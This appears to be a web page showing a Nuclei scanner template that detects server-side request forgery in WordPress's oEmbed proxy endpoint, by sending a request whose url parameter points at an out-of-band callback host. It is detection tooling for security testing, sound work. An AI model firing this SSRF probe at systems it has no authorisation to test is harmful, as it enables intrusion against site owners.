Wordpress Oembed Proxy - Server-side request forgery

ID: wordpress-ssrf-oembed

Severity: medium

Author: dhiyaneshDk

Tags: wordpress,ssrf,oast,oembed

Description

The oEmbed feature in WordPress allows embedding content from external sources, and if it’s not properly secured, it could be exploited for SSRF.

YAML Source

id: wordpress-ssrf-oembed

info:
  name: Wordpress Oembed Proxy - Server-side request forgery
  author: dhiyaneshDk
  severity: medium
  description: The oEmbed feature in WordPress allows embedding content from external sources, and if it's not properly secured, it could be exploited for SSRF.
  reference:
    - https://book.hacktricks.xyz/pentesting/pentesting-web/wordpress
    - https://github.com/incogbyte/quickpress/blob/master/core/req.go
  classification:
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: wordpress
    product: wordpress
    fofa-query: body="oembed" && body="wp-"
  tags: wordpress,ssrf,oast,oembed

http:
  - raw:
      - |
        GET /wp-json/oembed/1.0/proxy HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/oembed/1.0/proxy?url=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - 'rest_missing_callback_param'

      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a004730450220380807c5f0961ca3a0a8acf4284058bd0dad703b3224b3b78973a90080317ed5022100db4a5d19b583e1c15225bfefbcd8fefee61c83b612ecf43d8916094cf83b110b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wordpress-ssrf-oembed.yaml"

View on Github